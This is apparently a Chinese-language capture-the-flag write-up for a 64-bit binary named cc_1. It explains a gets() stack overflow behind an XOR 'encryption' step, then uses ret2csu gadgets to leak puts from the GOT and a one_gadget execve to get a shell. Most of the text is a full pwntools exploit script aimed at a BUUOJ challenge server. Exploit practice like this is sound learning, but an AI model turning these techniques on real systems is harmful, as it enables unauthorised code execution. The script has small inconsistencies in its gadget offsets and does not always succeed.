分析:
程序的逻辑比较简单,漏洞点在encrypt 函数中的gets函数中
在encrypt函数中由gets函数输入数据,随后程序对输入的数据进行加密
1.如果是小写字母跟0xD异或
2.如果是大写字母跟0xE异或
3.如果是数字跟0xF异或
在这个循环中会破坏我们设置好的数据,但是可以通过两次异或运算又转换为我们设置好的数据
二进制文件中没有出现getshell和system之类的函数,所以要通过泄露libc地址来调用system或execve函数
麻烦的是这是64位程序,参数不放在栈上,而是放在寄存器中,所以可以利用loc_400C60 和 loc_400C76 两处的代码布置参数 和调用我们想调用的函数
要注意的是call指令 会进行寻址,所以r12 + rbx*8 不能直接为函数的地址,要设置为指向函数的指针
具体步骤:
1.先调用puts 泄露puts函数的地址,然后得到libc的基址
2.利用one_gadget工具得到execve的libc地址,再加上libc基址得到execve("/bin/sh“, rsp+0x50, environ)的地址
3.再次进行溢出用execve的地址覆盖ret的地址从而获得shell
EXP:
from pwn import *
import struct
context(os="linux", arch="amd64", log_level="debug")
debug = 1
d = 0
if debug == 0:
p = process("./cc_1")
if d == 1:
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(proc.pidof(p)[0], gdbscript="b main")
else:
p = remote("pwn.buuoj.cn", 20115)
elf = ELF("./cc_1")
libc = ELF("x64_libc.so.6")
def Encrypt(content):
p.sendline("1")
p.recvuntil("Input your Plaintext to be encrypted")
p.sendline(content)
def Exit():
p.sendline("3")
start = 0x400790
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
encrypt = 0x4009A0
loc_c60 = 0x400C60
loc_c7A = 0x400C7A
offset = 0x50
payload = 'a'*(offset + 8) + p64(loc_c7A)
# rbx, rbp, r12, r13, r14, r15
payload += p64(0) + p64(1) + p64(got_puts) + p64(0) + p64(0) + p64(got_puts) + p64(loc_c60)
payload += p64(0) + p64(0)*6 + p64(encrypt)
def exchange(payload): #对payload进行异或运算
new_payload = list(payload)
for i in range(len(payload)):
c = ord(payload[i])
if c <= 96 or c > 122:
if c <=64 or c > 90:
if c > 47 and c <= 57:
c ^=0xf
new_payload[i] = chr(c)
print "i-> " + str(i)
else:
new_payload[i] = chr(c)
print "i-> " + str(i)
else:
c ^= 0xe
new_payload[i] = chr(c)
print "i-> " + str(i)
else:
c ^= 0xd
new_payload[i] = chr(c)
print "i-> " + str(i)
return new_payload
print("payload-> " + str(len(payload)))
payload = ''.join(exchange(payload))
print("payload-> " + payload)
Encrypt(payload)
p.recvline()
p.recvline()
p.recvline()
leak = p.recvuntil('\n')[:-1]
leak += "\x00\x00" #"Q"只能对8字节数据进行解包,所以进行填充
print("len-> " + str(len(leak)))
print("leak-> " + leak)
leak = struct.unpack("<Q", leak)[0]
print leak
print hex(leak)
binaddr = elf.bss() + 0x100
got_gets = elf.got['gets']
x_addr = 0x6020AC
one_gadget = 0xf02a4
libc_base = leak - libc.symbols['puts']
print("libc_base-> " + hex(libc_base))
execve = libc_base + 0x4526a
print("execve-> " + hex(execve))
payload = 'a'*(offset + 8) + p64(execve)
print("payload-> " + payload)
p.recvuntil("Input your Plaintext to be encrypted")
p.sendline(payload)
p.interactive()
这个EXP有的时候打不到,可能因为有的时候one_gadget的约束条件没有达成
结果: